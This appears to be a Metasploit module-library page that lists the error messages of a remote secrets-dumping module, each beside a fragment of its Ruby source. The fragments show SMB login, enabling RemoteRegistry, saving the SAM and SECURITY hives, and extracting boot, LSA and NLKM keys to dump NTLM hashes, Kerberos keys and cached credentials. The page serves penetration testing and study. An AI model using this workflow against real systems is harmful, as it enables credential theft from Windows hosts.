Error when reporting <PRINT_NAME> NTLM hash


Here is a relevant code snippet related to the "Error when reporting <PRINT_NAME> NTLM hash" error message:

909:	      credential_opts = {
910:	        realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
911:	        realm_value: domain
912:	      }
913:	      unless report_creds(print_name, ntlm_hash, **credential_opts)
914:	        vprint_bad("Error when reporting #{print_name} NTLM hash")
915:	      end
916:	
917:	      raw_passwd = secret_item.unpack('H*')[0]
918:	      credential_opts[:type] = :password
919:	      unless report_creds(print_name, raw_passwd, **credential_opts)

Error when reporting <PRINT_NAME> raw password hash


Here is a relevant code snippet related to the "Error when reporting <PRINT_NAME> raw password hash" error message:

915:	      end
916:	
917:	      raw_passwd = secret_item.unpack('H*')[0]
918:	      credential_opts[:type] = :password
919:	      unless report_creds(print_name, raw_passwd, **credential_opts)
920:	        vprint_bad("Error when reporting #{print_name} raw password hash")
921:	      end
922:	      secret = "#{print_name}:plain_password_hex:#{raw_passwd}\n"
923:	
924:	      extra_secret = get_machine_kerberos_keys(secret_item, print_name)
925:	      if extra_secret.empty?

Could not calculate machine account Kerberos keys


Here is a relevant code snippet related to the "Could not calculate machine account Kerberos keys" error message:

921:	      end
922:	      secret = "#{print_name}:plain_password_hex:#{raw_passwd}\n"
923:	
924:	      extra_secret = get_machine_kerberos_keys(secret_item, print_name)
925:	      if extra_secret.empty?
926:	        vprint_status('Could not calculate machine account Kerberos keys')
927:	      else
928:	        credential_opts[:type] = :nonreplayable_hash
929:	        extra_secret.each do |sec|
930:	          unless report_creds(print_name, sec, **credential_opts)
931:	            vprint_bad("Error when reporting #{print_name} machine kerberos key #{sec}")

Error when reporting <PRINT_NAME> machine kerberos key <SEC>


Here is a relevant code snippet related to the "Error when reporting <PRINT_NAME> machine kerberos key <SEC>" error message:

926:	        vprint_status('Could not calculate machine account Kerberos keys')
927:	      else
928:	        credential_opts[:type] = :nonreplayable_hash
929:	        extra_secret.each do |sec|
930:	          unless report_creds(print_name, sec, **credential_opts)
931:	            vprint_bad("Error when reporting #{print_name} machine kerberos key #{sec}")
932:	          end
933:	          sec.prepend("#{print_name}:")
934:	        end
935:	      end
936:	

An error occured when cleaning up: <E>


Here is a relevant code snippet related to the "An error occured when cleaning up: <E>" error message:

983:	    if @service_should_be_disabled
984:	      print_status('Disabling service RemoteRegistry...')
985:	      @svcctl.change_service_config_w(svc_handle, start_type: RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED)
986:	    end
987:	  rescue RubySMB::Dcerpc::Error::SvcctlError => e
988:	    vprint_warning("An error occured when cleaning up: #{e}")
989:	  ensure
990:	    @svcctl.close_service_handle(svc_handle) if svc_handle
991:	  end
992:	
993:	  def open_sc_manager

Unable to authenticate ([<E.CLASS>] <E>).


Here is a relevant code snippet related to the "Unable to authenticate ([<E.CLASS>] <E>)." error message:

1012:	    end
1013:	    begin
1014:	      smb_login
1015:	    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
1016:	      fail_with(Module::Failure::NoAccess,
1017:	                "Unable to authenticate ([#{e.class}] #{e}).")
1018:	    end
1019:	    report_service(
1020:	      host: rhost,
1021:	      port: rport,
1022:	      host_name: simple.client.default_name,

Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>).


Here is a relevant code snippet related to the "Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>)." error message:

1027:	
1028:	    begin
1029:	      @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
1030:	    rescue RubySMB::Error::RubySMBError => e
1031:	      fail_with(Module::Failure::Unreachable,
1032:	                "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
1033:	    end
1034:	
1035:	    begin
1036:	      @scm_handle = open_sc_manager
1037:	    rescue RubySMB::Error::RubySMBError => e

Unable to connect to the remote Service Control Manager. It will fail


Here is a relevant code snippet related to the "Unable to connect to the remote Service Control Manager. It will fail" error message:

1034:	
1035:	    begin
1036:	      @scm_handle = open_sc_manager
1037:	    rescue RubySMB::Error::RubySMBError => e
1038:	      print_error(
1039:	        'Unable to connect to the remote Service Control Manager. It will fail '\
1040:	        "if the 'RemoteRegistry' service is stopped or disabled ([#{e.class}] #{e})."
1041:	      )
1042:	    end
1043:	
1044:	    begin

Error when checking/enabling the 'RemoteRegistry' service. It will


Here is a relevant code snippet related to the "Error when checking/enabling the 'RemoteRegistry' service. It will" error message:

1043:	
1044:	    begin
1045:	      enable_registry if @scm_handle
1046:	    rescue RubySMB::Error::RubySMBError => e
1047:	      print_error(
1048:	        "Error when checking/enabling the 'RemoteRegistry' service. It will "\
1049:	        "fail if it is stopped or disabled ([#{e.class}] #{e})."
1050:	      )
1051:	    end
1052:	
1053:	    begin

Error when connecting to 'winreg' interface ([<E.CLASS>] <E>).


Here is a relevant code snippet related to the "Error when connecting to 'winreg' interface ([<E.CLASS>] <E>)." error message:

1053:	    begin
1054:	      @winreg = @tree.open_file(filename: 'winreg', write: true, read: true)
1055:	      @winreg.bind(endpoint: RubySMB::Dcerpc::Winreg)
1056:	    rescue RubySMB::Error::RubySMBError => e
1057:	      fail_with(Module::Failure::Unreachable,
1058:	                "Error when connecting to 'winreg' interface ([#{e.class}] #{e}).")
1059:	    end
1060:	
1061:	    begin
1062:	      boot_key = get_boot_key
1063:	    rescue RubySMB::Error::RubySMBError => e

Error when getting bootKey: <E>


Here is a relevant code snippet related to the "Error when getting bootKey: <E>" error message:

1059:	    end
1060:	
1061:	    begin
1062:	      boot_key = get_boot_key
1063:	    rescue RubySMB::Error::RubySMBError => e
1064:	      print_error("Error when getting bootKey: #{e}")
1065:	      boot_key = ''
1066:	    end
1067:	    fail_with(Module::Failure::Unknown, 'Unable to get bootKey') if boot_key&.empty?
1068:	    report_info(boot_key.unpack('H*')[0], 'host.boot_key')
1069:	

Unable to get bootKey


Here is a relevant code snippet related to the "Unable to get bootKey" error message:

1062:	      boot_key = get_boot_key
1063:	    rescue RubySMB::Error::RubySMBError => e
1064:	      print_error("Error when getting bootKey: #{e}")
1065:	      boot_key = ''
1066:	    end
1067:	    fail_with(Module::Failure::Unknown, 'Unable to get bootKey') if boot_key&.empty?
1068:	    report_info(boot_key.unpack('H*')[0], 'host.boot_key')
1069:	
1070:	    lm_hash_not_stored?
1071:	
1072:	    begin

Error when getting SAM hive ([<E.CLASS>] <E>).


Here is a relevant code snippet related to the "Error when getting SAM hive ([<E.CLASS>] <E>)." error message:

1070:	    lm_hash_not_stored?
1071:	
1072:	    begin
1073:	      sam = save_sam
1074:	    rescue RubySMB::Error::RubySMBError => e
1075:	      print_error("Error when getting SAM hive ([#{e.class}] #{e}).")
1076:	      sam = nil
1077:	    end
1078:	
1079:	    if sam
1080:	      reg_parser = Msf::Util::WindowsRegistryParser.new(sam)

Error when getting SECURITY hive ([<E.CLASS>] <E>).


Here is a relevant code snippet related to the "Error when getting SECURITY hive ([<E.CLASS>] <E>)." error message:

1082:	    end
1083:	
1084:	    begin
1085:	      security = save_security
1086:	    rescue RubySMB::Error::RubySMBError => e
1087:	      print_error("Error when getting SECURITY hive ([#{e.class}] #{e}).")
1088:	      security = nil
1089:	    end
1090:	
1091:	    if security
1092:	      reg_parser = Msf::Util::WindowsRegistryParser.new(security)

No LSA key, skip LSA secrets and cached hashes dump


Here is a relevant code snippet related to the "No LSA key, skip LSA secrets and cached hashes dump" error message:

1090:	
1091:	    if security
1092:	      reg_parser = Msf::Util::WindowsRegistryParser.new(security)
1093:	      lsa_key = get_lsa_secret_key(reg_parser, boot_key)
1094:	      if lsa_key.nil? || lsa_key.empty?
1095:	        print_status('No LSA key, skip LSA secrets and cached hashes dump')
1096:	      else
1097:	        report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')
1098:	        dump_lsa_secrets(reg_parser, lsa_key)
1099:	        nlkm_key = get_nlkm_secret_key(reg_parser, lsa_key)
1100:	        if nlkm_key.nil? || nlkm_key.empty?

No NLKM key (skip cached hashes dump)


Here is a relevant code snippet related to the "No NLKM key (skip cached hashes dump)" error message:

1096:	      else
1097:	        report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')
1098:	        dump_lsa_secrets(reg_parser, lsa_key)
1099:	        nlkm_key = get_nlkm_secret_key(reg_parser, lsa_key)
1100:	        if nlkm_key.nil? || nlkm_key.empty?
1101:	          print_status('No NLKM key (skip cached hashes dump)')
1102:	        else
1103:	          report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key')
1104:	          dump_cached_hashes(reg_parser, nlkm_key)
1105:	        end
1106:	      end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Alberto Solino
  • Christophe De La Fuente

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.